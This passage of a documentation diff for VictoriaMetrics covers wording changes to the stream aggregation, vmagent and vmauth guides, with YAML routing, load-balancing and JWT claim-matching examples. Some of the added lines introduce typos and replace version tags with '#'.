only the last sample per each seen [time series](https://docs.victoriametrics.com/victoriametrics/keyconcepts/#time-series) per every 30 seconds.
|
||||
@@ -369,7 +369,7 @@ It is possible to drop the given labels before applying the de-duplication. See
|
||||
|
||||
The online de-duplication uses the same logic as [`-dedup.minScrapeInterval` command-line flag](https://docs.victoriametrics.com/victoriametrics/single-server-victoriametrics/#deduplication) at VictoriaMetrics.
|
||||
|
||||
De-duplication is applied before stream aggregation rules and can drop samples before they get matched for aggregation.
|
||||
De-deuplication is applied before stream aggreation rules and can drop samples before they get matched for aggregation.
|
||||
|
||||
# Relabeling
|
||||
|
||||
@@ -404,7 +404,7 @@ See also [dropping unneeded labels](#dropping-unneeded-labels).
|
||||
|
||||
## Ignoring old samples
|
||||
|
||||
By default, all the input samples are taken into account during stream aggregation. If samples with old timestamps
|
||||
By default, all the input samples are taken into account during stream aggregation. If samples with old timestamps
|
||||
outside the current [aggregation interval](https://docs.victoriametrics.com/victoriametrics/stream-aggregation/configuration/#stream-aggregation-config) must be ignored, then the following options can be used:
|
||||
|
||||
- To pass `-streamAggr.ignoreOldSamples` command-line flag to [single-node VictoriaMetrics](https://docs.victoriametrics.com/victoriametrics/single-server-victoriametrics/)
|
||||
@@ -519,11 +519,11 @@ See also [aggregation outputs](https://docs.victoriametrics.com/victoriametrics/
|
||||
|
||||
## Dropping unneeded labels
|
||||
|
||||
To optimize performance and reduce [churn rate](https://docs.victoriametrics.com/guides/understand-your-setup-size/#churn-rate), it's important to drop unnecessary labels from incoming samples.
|
||||
Dropping unnecessary labels can significantly enhance efficiency.
|
||||
To optimize performance and reduce [churn rate](https://docs.victoriametrics.com/guides/understand-your-setup-size/#churn-rate), it's important to drop unnecessary labels from incoming samples.
|
||||
Dropping unnecessary labels can significantly enhance efficiency.
|
||||
There are various strategies for label dropping, which can be implemented individually or combined.
|
||||
|
||||
**Global Label Dropping** is configured using the `-streamAggr.dropInputLabels` flag.
|
||||
**Global Label Dropping** is configured using the `-streamAggr.dropInputLabels` flag.
|
||||
It works in conjunction with the `-streamAggr.config` flag and applies to all matching sections within it.
|
||||
The labels are dropped before [input relabeling](#relabeling), [deduplication](#deduplication), and [stream aggregation](https://docs.victoriametrics.com/victoriametrics/stream-aggregation/configuration/#aggregation-outputs) are applied.
|
||||
This flag can be used with [vmagent](https://docs.victoriametrics.com/victoriametrics/vmagent/), vminsert, and [vmsingle](https://docs.victoriametrics.com/victoriametrics/single-server-victoriametrics/).
|
||||
@@ -537,13 +537,13 @@ The following example demonstrates how to drop the `replica` and `az` labels for
|
||||
-streamAggr.dropInputLabels="replica,az"
|
||||
```
|
||||
|
||||
**Per Remote Write Label Drop** is configured using the `-remoteWrite.streamAggr.dropInputLabels` flag.
|
||||
It should be defined as many times as there are `-remoteWrite.url` flags.
|
||||
To drop multiple labels for a remote write, use `^^` to separate them.
|
||||
**Per Remote Write Label Drop** is configured using the `-remoteWrite.streamAggr.dropInputLabels` flag.
|
||||
It should be defined as many times as there are `-remoteWrite.url` flags.
|
||||
To drop multiple labels for a remote write, use `^^` to separate them.
|
||||
The labels are dropped before [input relabeling](#relabeling), [de-duplication](#deduplication), and [stream aggregation](https://docs.victoriametrics.com/victoriametrics/stream-aggregation/configuration/#aggregation-outputs) are applied.
|
||||
This flag is available for [vmagent](https://docs.victoriametrics.com/victoriametrics/vmagent/) only.
|
||||
|
||||
In the example below, `replica` and `az` are dropped for the `foo` target,
|
||||
In the example below, `replica` and `az` are dropped for the `foo` target,
|
||||
while `instance` is dropped for the `bar` target:
|
||||
|
||||
```bash
|
||||
@@ -663,7 +663,7 @@ When configuring the aggregation rule, make sure that `vmagent` receives all the
|
||||
If traffic to the vmagent goes through the load balancer, it could happen that vmagent will be receiving only fraction of the data
|
||||
and produce incomplete aggregations.
|
||||
|
||||
To keep aggregation results consistent, make sure that vmagent receives all the required data for aggregation. In case if you need to
|
||||
To keep aggregation results consistent, make sure that vmagent receives all the required data for aggregation. In case if you need to
|
||||
split the load across multiple vmagents, try sharding the traffic among them via metric names or labels.
|
||||
For example, see how vmagent could consistently [shard data across remote write destinations](https://docs.victoriametrics.com/victoriametrics/vmagent/#sharding-among-remote-storages)
|
||||
via `-remoteWrite.shardByURL.labels` or `-remoteWrite.shardByURL.ignoreLabels` cmd-line flags.
|
||||
@@ -674,7 +674,7 @@ Stream aggregation can be used as alternative for [recording rules](#recording-r
|
||||
But creating an aggregation rule per each recording rule can lead to elevated resource usage on the vmagent,
|
||||
because the ingestion stream should be matched against every configured aggregation rule.
|
||||
|
||||
To optimize this, we recommend merging together aggregations which only differ in match expressions.
|
||||
To optimize this, we recommend merging together aggregations which only differ in match expressions.
|
||||
For example, let's see the following list of recording rules:
|
||||
|
||||
```yaml
|
||||
@@ -694,7 +694,7 @@ These rules can be effectively converted into a single aggregation rule:
|
||||
- node_network_receive_bytes_total
|
||||
- node_network_transmit_bytes_total
|
||||
interval: 3m
|
||||
outputs: [rate_sum]
|
||||
outputs: [rate_sum]
|
||||
by:
|
||||
- instance
|
||||
output_relabel_configs:
|
||||
@@ -722,9 +722,9 @@ Make sure that you updated queries in your alerting rules and dashboards accordi
|
||||
|
||||
### Use different deduplication intervals on storage and vmagent
|
||||
|
||||
If the storage uses `-dedup.minScrapeInterval` but `vmagent` has no deduplication configured, aggregation results may not match queries on the storage.
|
||||
If the storage uses `-dedup.minScrapeInterval` but `vmagent` has no deduplication configured, aggregation results may not match queries on the storage.
|
||||
For example, `sum(rate(foo[1m])) by (instance)` query result can differ from the [rate_sum](https://docs.victoriametrics.com/victoriametrics/stream-aggregation/configuration/#rate_sum) aggregation result `foo:1m_by_instance_rate_sum`.
|
||||
This happens because vmagent aggregates all samples, while queries on the storage use deduplicated samples.
|
||||
This happens because vmagent aggregates all samples, while queries on the storage use deduplicated samples.
|
||||
To avoid this, set `-streamAggr.dedupInterval` or `-remoteWrite.streamAggr.dedupInterval` on `vmagent` to match the storage interval.
|
||||
|
||||
---
|
||||
|
||||
@@ -150,7 +150,7 @@ See [these docs](https://docs.victoriametrics.com/victoriametrics/cluster-victor
|
||||
|
||||
By default `vmagent` replicates data to remote storage systems via the `-remoteWrite.url` command-line flag.
|
||||
If the `-remoteWrite.shardByURL` command-line flag is set, then `vmagent` spreads
|
||||
the outgoing [time series](https://docs.victoriametrics.com/victoriametrics/keyconcepts/#time-series) evenly among all the remote storage
|
||||
the outgoing [time series](https://docs.victoriametrics.com/victoriametrics/keyconcepts/#time-series) evenly among all the remote storage
|
||||
systems listed in `-remoteWrite.url`.
|
||||
|
||||
It is possible to replicate samples among remote storage systems by passing `-remoteWrite.shardByURLReplicas=N`
|
||||
@@ -965,7 +965,7 @@ See [these docs](https://cloud.google.com/stackdriver/docs/managed-prometheus/tr
|
||||
|
||||
Use official [Grafana dashboard](https://grafana.com/grafana/dashboards/12683) for `vmagent` state overview.
|
||||
Graphs on this dashboard contain useful hints - hover the `i` icon at the top left corner of each graph in order to read it.
|
||||
If you have suggestions for improvements or have found a bug - please open an issue on [github](https://github.com/VictoriaMetrics/VictoriaMetrics/issues)
|
||||
If you have suggestions for improvements or have found a bug - please open an issue on [github](https://github.com/VictoriaMetrics/VictoriaMetrics/issues)
|
||||
or add a review to the dashboard.
|
||||
|
||||
`vmagent` also exports the status for various targets at the following pages:
|
||||
@@ -1116,7 +1116,7 @@ Additional notes:
|
||||
|
||||
See general recommendations regarding [security](https://docs.victoriametrics.com/victoriametrics/single-server-victoriametrics/#security).
|
||||
|
||||
vmagent's `/remotewrite-relabel-config` and `/remotewrite-url-relabel-config` endpoints {{% available_from "v1.129.0" %}}
|
||||
vmagent's `/remotewrite-relabel-config` and `/remotewrite-url-relabel-config` endpoints {{% available_from "v1.129.0" %}}
|
||||
can be protected via `-configAuthKey` command-line flag.
|
||||
|
||||
### mTLS protection
|
||||
@@ -1149,7 +1149,7 @@ For example, if `vmagent` needs to scrape thousands of targets in resource-const
|
||||
even if many clients send data to `vmagent` via many concurrent connections and the number of these connections significantly exceeds the default value
|
||||
for the `-maxConcurrentRequests` command-line flag. `vmagent` puts incoming requests into a wait queue if the number of concurrently executed requests
|
||||
exceeds `-maxConcurrentRequests`. The pending requests at the wait queue do not consume CPU and do not consume significant amounts of RAM, so it is OK to have
|
||||
thousands of pending requests in the wait queue. Pending requests in the wait queue are canceled if they wait for their execution for longer than
|
||||
thousands of pending requests in the wait queue. Pending requests in the wait queue are canceled if they wait for their exection for longer than
|
||||
the duration specified in the `-insert.maxQueueDuration` command-line flag. Canceled requests can be [monitored](https://docs.victoriametrics.com/victoriametrics/vmagent/#monitoring)
|
||||
via `vm_concurrent_insert_limit_timeout_total` metric.
|
||||
|
||||
|
||||
@@ -12,29 +12,30 @@ aliases:
|
||||
- /vmauth/index.html
|
||||
- /vmauth/
|
||||
---
|
||||
`vmauth` is an HTTP proxy, which can [authorize](https://docs.victoriametrics.com/victoriametrics/vmauth/#authorization), [route](https://docs.victoriametrics.com/victoriametrics/vmauth/#routing), and [load balance](https://docs.victoriametrics.com/victoriametrics/vmauth/#load-balancing) requests across [VictoriaMetrics](https://github.com/VictoriaMetrics/VictoriaMetrics) components or any other HTTP backends.
|
||||
`vmauth` is an HTTP proxy, which can [authorize](https://docs.victoriametrics.com/victoriametrics/vmauth/#authorization), [route](https://docs.victoriametrics.com/victoriametrics/vmauth/#routing) and [load balance](https://docs.victoriametrics.com/victoriametrics/vmauth/#load-balancing) requests across [VictoriaMetrics](https://github.com/VictoriaMetrics/VictoriaMetrics) components or any other HTTP backends.
|
||||
|
||||
## Quick start
|
||||
|
||||
Just download the `vmutils-*` archive from [releases page](https://github.com/VictoriaMetrics/VictoriaMetrics/releases/latest), unpack it, and pass the following flag to the `vmauth` binary in order to start authorizing and proxying requests:
|
||||
Just download `vmutils-*` archive from [releases page](https://github.com/VictoriaMetrics/VictoriaMetrics/releases/latest), unpack it
|
||||
and pass the following flag to `vmauth` binary in order to start authorizing and proxying requests:
|
||||
|
||||
```sh
|
||||
/path/to/vmauth -auth.config=/path/to/auth/config.yml
|
||||
```
|
||||
|
||||
The `-auth.config` command-line flag must point to a valid [config](#auth-config). See [use cases](#use-cases) with typical `-auth.config` examples.
|
||||
The `-auth.config` command-line flag must point to valid [config](#auth-config). See [use cases](#use-cases) with typical `-auth.config` examples.
|
||||
|
||||
`vmauth` accepts HTTP requests on port `8427` and proxies them according to the provided [-auth.config](#auth-config).
|
||||
The port can be modified via the `-httpListenAddr` command-line flag.
|
||||
The port can be modified via `-httpListenAddr` command-line flag.
|
||||
|
||||
See [how to reload config without restart](#config-reload).
|
||||
|
||||
Docker images for `vmauth` are available at [Docker Hub](https://hub.docker.com/r/victoriametrics/vmauth/tags) and [Quay](https://quay.io/repository/victoriametrics/vmauth?tab=tags).
|
||||
See how `vmauth` is used in [docker-compose environment](https://github.com/VictoriaMetrics/VictoriaMetrics/blob/master/deployment/docker/README.md#victoriametrics-cluster).
|
||||
See how `vmauth` is used in [docker-compose env](https://github.com/VictoriaMetrics/VictoriaMetrics/blob/master/deployment/docker/README.md#victoriametrics-cluster).
|
||||
|
||||
Pass `-help` to `vmauth` in order to see all the supported command-line flags with their descriptions.
|
||||
|
||||
Feel free to [contact us](mailto:info@victoriametrics.com) if you need a customized auth proxy for VictoriaMetrics with the support of LDAP, SSO, RBAC, SAML, accounting, and rate limiting, such as [vmgateway](https://docs.victoriametrics.com/victoriametrics/vmgateway/).
|
||||
Feel free to [contact us](mailto:info@victoriametrics.com) if you need customized auth proxy for VictoriaMetrics with the support of LDAP, SSO, RBAC, SAML, accounting and rate limiting such as [vmgateway](https://docs.victoriametrics.com/victoriametrics/vmgateway/).
|
||||
|
||||
## Use cases
|
||||
|
||||
@@ -51,7 +52,6 @@ Feel free to [contact us](mailto:info@victoriametrics.com) if you need a customi
|
||||
* [Per-tenant authorization](#per-tenant-authorization)
|
||||
* [mTLS-based request routing](#mtls-based-request-routing)
|
||||
* [Enforcing query args](#enforcing-query-args)
|
||||
* [OIDC authorization](#oidc-authorization)
|
||||
|
||||
### Simple HTTP proxy
|
||||
|
||||
@@ -69,7 +69,7 @@ See also [authorization](#authorization) and [routing](#routing) docs.
|
||||
|
||||
### Generic HTTP proxy for different backends
|
||||
|
||||
`vmauth` can proxy requests to different backends depending on the requested path, [query args](https://en.wikipedia.org/wiki/Query_string), and any HTTP request header.
|
||||
`vmauth` can proxy requests to different backends depending on the requested path, [query args](https://en.wikipedia.org/wiki/Query_string) and any HTTP request header.
|
||||
|
||||
For example, the following [`-auth.config`](#auth-config) instructs `vmauth` to make the following:
|
||||
|
||||
@@ -93,9 +93,9 @@ unauthorized_user:
|
||||
url_prefix: "http://default-backed/"
|
||||
```
|
||||
|
||||
Sometimes it is necessary to proxy all requests that do not match `url_map` to a special `404` page, which could count as invalid requests.
|
||||
Sometimes it is needed to proxy all the requests, which do not match `url_map`, to a special `404` page, which could count invalid requests.
|
||||
Use `default_url` for this case. For example, the following [`-auth.config`](#auth-config) instructs `vmauth` to send all the requests,
|
||||
which do not match `url_map`, to the `http://some-backend/404-page.html` page. The requested path is passed via the `request_path` query arg.
|
||||
which do not match `url_map`, to the `http://some-backend/404-page.html` page. The requested path is passed via `request_path` query arg.
|
||||
For example, the request to `http://vmauth:8427/foo/bar?baz=qwe` is proxied to `http://some-backend/404-page.html?request_path=%2Ffoo%2Fbar%3Fbaz%3Dqwe`.
|
||||
|
||||
```yaml
|
||||
@@ -118,7 +118,7 @@ See also [authorization](#authorization) and [load balancing](#load-balancing) d
|
||||
|
||||
### Generic HTTP load balancer
|
||||
|
||||
`vmauth` can balance load across multiple HTTP backends using least-loaded round-robin.
|
||||
`vmauth` can balance load among multiple HTTP backends in least-loaded round-robin mode.
|
||||
For example, the following [`-auth.config`](#auth-config) instructs `vmauth` to spread load among multiple application instances:
|
||||
|
||||
```yaml
|
||||
@@ -184,10 +184,10 @@ See also [authorization](#authorization) and [routing](#routing) docs.
|
||||
|
||||
### High availability
|
||||
|
||||
`vmauth` automatically switches from a temporarily unavailable backend to other hot standby backends listed in `url_prefix`
|
||||
if it runs with the `-loadBalancingPolicy=first_available` command-line flag. The load balancing policy can be overridden at `user` and `url_map` sections of [`-auth.config`](#auth-config) via `load_balancing_policy` option. For example, the following config instructs `vmauth` to proxy requests to `http://victoria-metrics-main:8428/` backend.
|
||||
`vmauth` automatically switches from temporarily unavailable backend to other hot standby backends listed in `url_prefix`
|
||||
if it runs with `-loadBalancingPolicy=first_available` command-line flag. The load balancing policy can be overridden at `user` and `url_map` sections of [`-auth.config`](#auth-config) via `load_balancing_policy` option. For example, the following config instructs `vmauth` to proxy requests to `http://victoria-metrics-main:8428/` backend.
|
||||
If this backend becomes unavailable, then `vmauth` starts proxying requests to `http://victoria-metrics-standby1:8428/`.
|
||||
If this backend also becomes unavailable, then requests are proxied to the last specified backend - `http://victoria-metrics-standby2:8428/`:
|
||||
If this backend becomes also unavailable, then requests are proxied to the last specified backend - `http://victoria-metrics-standby2:8428/`:
|
||||
|
||||
```yaml
|
||||
unauthorized_user:
|
||||
@@ -212,8 +212,8 @@ See also [authorization](#authorization) and [routing](#routing) docs.
|
||||
|
||||
* `-httpListenAddr` sets the address to listen for incoming HTTPS requests
|
||||
* `-tls` enables accepting TLS connections at `-httpListenAddr`
|
||||
* `-tlsKeyFile` sets the path to the TLS certificate key file
|
||||
* `-tlsCertFile` sets the path to the TLS certificate file
|
||||
* `-tlsKeyFile` sets the path to TLS certificate key file
|
||||
* `-tlsCertFile` sets the path to TLS certificate file
|
||||
|
||||
See also [automatic issuing of TLS certificates](#automatic-issuing-of-tls-certificates).
|
||||
|
||||
@@ -280,7 +280,7 @@ JWT authentication cannot be combined with other auth methods (`bearer_token`, `
|
||||
|
||||
#### OIDC Discovery
|
||||
|
||||
Instead of specifying public keys manually, `vmauth` can automatically fetch{{% available_from "v1.138.0" %}}
|
||||
Instead of specifying public keys manually, `vmauth` can automatically fetch{{% available_from "#" %}}
|
||||
and rotate public keys from an [OpenID Connect (OIDC)](https://openid.net/connect/) provider via its [Discovery endpoint](https://openid.net/specs/openid-connect-discovery-1_0.html).
|
||||
This is useful when integrating with identity providers such as Keycloak, Auth0, Okta, or Google.
|
||||
|
||||
@@ -308,7 +308,7 @@ If no keys have been fetched yet (e.g., on startup when the provider is unreacha
|
||||
#### JWT claim matching
|
||||
|
||||
`vmauth` can route requests to different backends depending on the claims contained
|
||||
in the provided [JWT token](https://www.jwt.io/) based on `match_claims`{{% available_from "v1.138.0" %}} field.
|
||||
in the provided [JWT token](https://www.jwt.io/) based on `match_claims`{{% available_from "#" %}} field.
|
||||
|
||||
This enables RBAC-style setups where tokens carrying different roles
|
||||
(e.g. `admin`, `viewer`, `writer`) are mapped to different users — each with its own
|
||||
@@ -329,7 +329,6 @@ Claim names support dot-notation for traversal of nested JSON objects
|
||||
Claim names must point to a **leaf value**. The only supported leaf values are string, integer, float and boolean. Any other leaf type
|
||||
is treated as not matched.
|
||||
All configured claims must match exactly.
|
||||
Claim match values use regular expression syntax and must fully match the claim value.
|
||||
|
||||
For example, the following config routes requests based on the `role` claim in the JWT token:
|
||||
|
||||
@@ -397,31 +396,6 @@ users:
|
||||
url_prefix: "http://victoria-metrics:8428/"
|
||||
```
|
||||
|
||||
The following config demonstrates matching on nested claims using dot-notation and regex value match for multiple tenants access:
|
||||
|
||||
```yaml
|
||||
users:
|
||||
- jwt:
|
||||
public_keys:
|
||||
- |
|
||||
-----BEGIN PUBLIC KEY-----
|
||||
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...
|
||||
-----END PUBLIC KEY-----
|
||||
match_claims:
|
||||
vm_access.metrics_account_id: "(0|1|2)"
|
||||
url_prefix: "http://victoria-metrics-vmselect-1:8481/select/multitenant?extra_filters={vm_account_id=~\"(0|1|2)\"}"
|
||||
- jwt:
|
||||
public_keys:
|
||||
- |
|
||||
-----BEGIN PUBLIC KEY-----
|
||||
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...
|
||||
-----END PUBLIC KEY-----
|
||||
match_claims:
|
||||
vm_access.metrics_account_id: "(3|4|5)"
|
||||
url_prefix: "http://victoria-metrics-vmselect-1:8481/select/multitenant?extra_filters={vm_account_id=~\"(3|4|5)\"}"
|
||||
```
|
||||
|
||||
|
||||
#### JWT claim matching. Conflict resolution
|
||||
|
||||
When multiple users have `match_claims` entries that all match the incoming token,
|
||||
@@ -665,7 +639,7 @@ See also [authorization](#authorization), [routing](#routing) and [load balancin
|
||||
|
||||
### Enforcing query args
|
||||
|
||||
`vmauth` can be configured to add mandatory query arguments before proxying requests to backends.
|
||||
`vmauth` can be configured for adding some mandatory query args before proxying requests to backends.
|
||||
For example, the following [config](#auth-config) adds [`extra_label`](https://docs.victoriametrics.com/victoriametrics/single-server-victoriametrics/#prometheus-querying-api-enhancements) to all the requests, which are proxied to [single-node VictoriaMetrics](https://docs.victoriametrics.com/victoriametrics/single-server-victoriametrics/):
|
||||
|
||||
```yaml
|
||||
@@ -677,8 +651,8 @@ See also [authorization](#authorization), [routing](#routing) and [load balancin
|
||||
|
||||
## Dropping request path prefix
|
||||
|
||||
By default, `vmauth` doesn't strip the path prefix from the original request when proxying it to the matching backend.
|
||||
Sometimes it is needed to drop the path prefix before proxying the request to the backend. This can be done by specifying the number of `/`-delimited prefix parts to drop from the request path via `drop_src_path_prefix_parts` option at `url_map` level or at `user` level or [`-auth.config`](#auth-config).
|
||||
By default, `vmauth` doesn't drop the path prefix from the original request when proxying the request to the matching backend.
|
||||
Sometimes it is needed to drop path prefix before proxying the request to the backend. This can be done by specifying the number of `/`-delimited prefix parts to drop from the request path via `drop_src_path_prefix_parts` option at `url_map` level or at `user` level or [`-auth.config`](#auth-config).
|
||||
|
||||
For example, if you need to serve requests to [vmalert](https://docs.victoriametrics.com/victoriametrics/vmalert/) at `/vmalert/` path prefix, while serving requests to [vmagent](https://docs.victoriametrics.com/victoriametrics/vmagent/) at `/vmagent/` path prefix,
|
||||
then the following [-auth.config](#auth-config) can be used:
|
||||
@@ -687,7 +661,7 @@ then the following [-auth.config](#auth-config) can be used:
|
||||
unauthorized_user:
|
||||
url_map:
|
||||
|
||||
# proxy all the requests, which start with `/vmagent/`, to the vmagent backend
|
||||
# proxy all the requests, which start with `/vmagent/`, to vmagent backend
|
||||
- src_paths:
|
||||
- "/vmagent/.*"
|
||||
|
||||
@@ -695,7 +669,7 @@ unauthorized_user:
|
||||
drop_src_path_prefix_parts: 1
|
||||
url_prefix: "http://vmagent-backend:8429/"
|
||||
|
||||
# proxy all the requests, which start with `/vmalert`, to the vmalert backend
|
||||
# proxy all the requests, which start with `/vmalert`, to vmalert backend
|
||||
- src_paths:
|
||||
- "/vmalert/.*"
|
||||
|
||||
@@ -719,7 +693,7 @@ See also [security docs](#security), [routing docs](#routing) and [load balancin
|
||||
|
||||
## Routing
|
||||
|
||||
`vmauth` can proxy requests to different backends depending on the following parts of the HTTP request:
|
||||
`vmauth` can proxy requests to different backends depending on the following parts of HTTP request:
|
||||
|
||||
* [Request path](#routing-by-path)
|
||||
* [Request host](#routing-by-host)
|
||||
@@ -728,14 +702,14 @@ See also [security docs](#security), [routing docs](#routing) and [load balancin
|
||||
* [Multiple parts](#routing-by-multiple-parts)
|
||||
|
||||
See also [authorization](#authorization) and [load balancing](#load-balancing).
|
||||
For debug purposes, extra logging for failed requests can be enabled by setting `dump_request_on_errors: true` {{% available_from "v1.107.0" %}} on the user level. Please note that such logging may expose sensitive information and should be used only for debugging.
|
||||
For debug purposes, extra logging for failed requests can be enabled by setting `dump_request_on_errors: true` {{% available_from "v1.107.0" %}} on user level. Please note, such logging may expose sensitive info and is recommended to use only for debugging.
|
||||
|
||||
### Routing by path
|
||||
|
||||
`src_paths` option can be specified inside `url_map` in order to route requests by path.
|
||||
|
||||
The following [`-auth.config`](#auth-config) routes requests to paths starting with `/app1/` to `http://app1-backend`,
|
||||
while requests with paths starting with `/app2` are routed to `http://app2-backend`, and the rest of the requests
|
||||
while requests with paths starting with `/app2` are routed to `http://app2-backend`, and the rest of requests
|
||||
are routed to `http://some-backend/404-page.html`:
|
||||
|
||||
```yaml
|
||||
@@ -758,7 +732,7 @@ See also [how to drop request path prefix](#dropping-request-path-prefix).
|
||||
|
||||
`src_hosts` option can be specified inside `url_map` in order to route requests by host header.
|
||||
|
||||
The following [`-auth.config`](#auth-config) routes requests to `app1.my-host.com` host to `http://app1-backend`, while routing requests to `app2.my-host.com` host to `http://app2-backend`, and the rest of the requests are routed to `http://some-backend/404-page.html`:
|
||||
The following [`-auth.config`](#auth-config) routes requests to `app1.my-host.com` host to `http://app1-backend`, while routing requests to `app2.my-host.com` host to `http://app2-backend`, and the rest of requests are routed to `http://some-backend/404-page.html`:
|
||||
|
||||
```yaml
|
||||
unauthorized_user:
|
||||
@@ -778,7 +752,7 @@ unauthorized_user:
|
||||
|
||||
`src_query_args` option can be specified inside `url_map` in order to route requests by the given [query arg](https://en.wikipedia.org/wiki/Query_string).
|
||||
|
||||
For example, the following [`-auth.config`](#auth-config) routes requests to `http://app1-backend/` if `db=foo` query arg is present in the request, while routing requests with `db` query arg starting with `bar` to `http://app2-backend`, and the rest of the requests are routed to `http://some-backend/404-page.html`:
|
||||
For example, the following [`-auth.config`](#auth-config) routes requests to `http://app1-backend/` if `db=foo` query arg is present in the request, while routing requests with `db` query arg starting with `bar` to `http://app2-backend`, and the rest of requests are routed to `http://some-backend/404-page.html`:
|
||||
|
||||
```yaml
|
||||
unauthorized_user:
|
||||
@@ -799,7 +773,7 @@ If at least a single query arg in the request matches at least one `src_query_ar
|
||||
|
||||
`src_headers` option can be specified inside `url_map` in order to route requests by the given HTTP request header.
|
||||
|
||||
For example, the following [`-auth.config`](#auth-config) routes requests to `http://app1-backend` if `TenantID` request header equals to `42`, while routing requests to `http://app2-backend` if `TenantID` request header equals to `123:456`, and the rest of the requests are routed to `http://some-backend/404-page.html`:
|
||||
For example, the following [`-auth.config`](#auth-config) routes requests to `http://app1-backend` if `TenantID` request header equals to `42`, while routing requests to `http://app2-backend` if `TenantID` request header equals to `123:456`, and the rest of requests are routed to `http://some-backend/404-page.html`:
|
||||
|
||||
```yaml
|
||||
unauthorized_user:
|
||||
@@ -815,14 +789,14 @@ If `src_headers` contains multiple entries, then it is enough to match only a si
|
||||
|
||||
### Routing by multiple parts
|
||||
|
||||
Any subset of [`src_paths`](#routing-by-path), [`src_hosts`](#routing-by-host), [`src_query_args`](#routing-by-query-arg) and [`src_headers`](#routing-by-header) options can be specified simultaneously in a single `url_map` entry. In this case, the request is routed to the given `url_prefix` if the request matches all the provided configs **simultaneously**.
|
||||
Any subset of [`src_paths`](#routing-by-path), [`src_hosts`](#routing-by-host), [`src_query_args`](#routing-by-query-arg) and [`src_headers`](#routing-by-header) options can be specified simultaneously in a single `url_map` entry. In this case the request is routed to the given `url_prefix` if the request matches all the provided configs **simultaneously**.
|
||||
|
||||
For example, the following [`-auth.config`](#auth-config) routes requests to `http://app1-backend` if all the conditions mentioned below are simultaneously met:
|
||||
|
||||
* the request path starts with `/app/`
|
||||
* the requested hostname ends with `.bar.baz`
|
||||
* the request contains `db=abc` query arg
|
||||
* the `TenantID` request header equals `42`
|
||||
* the `TenantID` request header equals to `42`
|
||||
|
||||
```yaml
|
||||
unauthorized_user:
|
||||
@@ -838,16 +812,16 @@ unauthorized_user:
|
||||
|
||||
Each `url_prefix` in the [-auth.config](#auth-config) can be specified in the following forms:
|
||||
|
||||
* A single URL. For example:
|
||||
* A single url. For example:
|
||||
|
||||
```yaml
|
||||
unauthorized_user:
|
||||
url_prefix: 'http://vminsert:8480/insert/0/prometheus/`
|
||||
```
|
||||
|
||||
In this case, `vmauth` proxies requests to the specified URL.
|
||||
In this case `vmauth` proxies requests to the specified url.
|
||||
|
||||
* A list of URLs. For example:
|
||||
* A list of urls. For example:
|
||||
|
||||
```yaml
|
||||
unauthorized_user:
|
||||
@@ -857,16 +831,16 @@ Each `url_prefix` in the [-auth.config](#auth-config) can be specified in the fo
|
||||
- 'http://vminsert-3:8480/insert/0/prometheus/'
|
||||
```
|
||||
|
||||
In this case, `vmauth` spreads requests among the specified URLs using the least-loaded round-robin policy.
|
||||
In this case `vmauth` spreads requests among the specified urls using least-loaded round-robin policy.
|
||||
This guarantees that incoming load is shared uniformly among the specified backends.
|
||||
See also [discovering backend IPs](#discovering-backend-ips).
|
||||
|
||||
`vmauth` automatically detects temporarily unavailable backends and spreads incoming queries among the remaining available backends.
|
||||
This allows restarting and performing maintenance on backends without removing them from the `url_prefix` list.
|
||||
This allows restarting the backends and performing maintenance tasks on the backends without the need to remove them from the `url_prefix` list.
|
||||
|
||||
By default, `vmauth` returns backend responses with all the HTTP status codes to the client. It is possible to configure automatic retry of requests at other backends if the backend responds with a status code specified in the `-retryStatusCodes` command-line flag.
|
||||
It is possible to customize the list of HTTP response status codes to retry via the `retry_status_codes` list at the `user` and `url_map` level of [`-auth.config`](#auth-config).
|
||||
For example, the following config retries requests on other backends if the current backend returns a response with `500` or `502` HTTP status code:
|
||||
By default, `vmauth` returns backend responses with all the http status codes to the client. It is possible to configure automatic retry of requests at other backends if the backend responds with status code specified in the `-retryStatusCodes` command-line flag.
|
||||
It is possible to customize the list of http response status codes to retry via `retry_status_codes` list at `user` and `url_map` level of [`-auth.config`](#auth-config).
|
||||
For example, the following config re-tries requests on other backends if the current backend returns response with `500` or `502` HTTP status code:
|
||||
|
||||
```yaml
|
||||
unauthorized_user:
|
||||
@@ -877,10 +851,10 @@ Each `url_prefix` in the [-auth.config](#auth-config) can be specified in the fo
|
||||
retry_status_codes: [500, 502]
|
||||
```
|
||||
|
||||
By default, `vmauth` uses the `least_loaded` policy to distribute incoming requests across available backends.
|
||||
The policy can be changed to `first_available` via the `-loadBalancingPolicy` command-line flag. In this case, `vmauth` sends all the requests to the first specified backend while it is available. `vmauth` starts sending requests to the next specified backend when the first backend is temporarily unavailable.
|
||||
It is possible to customize the load-balancing policy at the `user` and `url_map` levels.
|
||||
For example, the following config specifies a `first_available` load balancing policy for unauthorized requests:
|
||||
By default, `vmauth` uses `least_loaded` policy to spread the incoming requests among available backends.
|
||||
The policy can be changed to `first_available` via `-loadBalancingPolicy` command-line flag. In this case `vmauth` sends all the requests to the first specified backend while it is available. `vmauth` starts sending requests to the next specified backend when the first backend is temporarily unavailable.
|
||||
It is possible to customize the load balancing policy at the `user` and `url_map` level.
|
||||
For example, the following config specifies `first_available` load balancing policy for unauthorized requests:
|
||||
|
||||
```yaml
|
||||
unauthorized_user:
|
||||
@@ -890,10 +864,10 @@ Each `url_prefix` in the [-auth.config](#auth-config) can be specified in the fo
|
||||
load_balancing_policy: first_available
|
||||
```
|
||||
|
||||
The load balancing feature can be used in the following cases:
|
||||
Load balancing feature can be used in the following cases:
|
||||
|
||||
* Balancing the load among multiple `vmselect` and/or `vminsert` nodes in [VictoriaMetrics cluster](https://docs.victoriametrics.com/victoriametrics/cluster-victoriametrics/).
|
||||
The following [`-auth.config`](#auth-config) can be used to spread incoming requests among 3 vmselect nodes and retrying failed requests or requests with 500 and 502 response status codes:
|
||||
The following [`-auth.config`](#auth-config) can be used to spread incoming requests among 3 vmselect nodes and re-trying failed requests or requests with 500 and 502 response status codes:
|
||||
|
||||
```yaml
|
||||
unauthorized_user:
|
||||
@@ -906,7 +880,7 @@ The load balancing feature can be used in the following cases:
|
||||
|
||||
* Sending select queries to the closest availability zone (AZ), while falling back to other AZs with identical data if the closest AZ is unavailable.
|
||||
